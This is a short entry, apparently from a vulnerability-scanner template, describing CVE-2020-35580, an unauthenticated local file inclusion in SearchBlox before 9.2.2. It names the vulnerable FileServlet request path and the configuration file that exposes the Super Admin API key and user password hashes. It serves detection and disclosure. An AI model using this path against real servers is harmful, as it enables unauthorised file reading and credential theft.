SearchBlox <9.2.2 - Local File Inclusion

ID: CVE-2020-35580

Severity: high

Author: daffainfo

Tags: cve2020,cve,lfi,searchblox

SearchBlox prior to version 9.2.2 is susceptible to local file inclusion in FileServlet that allows remote, unauthenticated users to read arbitrary files from the operating system via a /searchblox/servlet/FileServlet?col=url= request. Additionally, this may be used to read the contents of the SearchBlox configuration file (e.g., searchblox/WEB-INF/config.xml), which contains both the Super Admin API key and the base64 encoded SHA1 password hashes of other SearchBlox users.
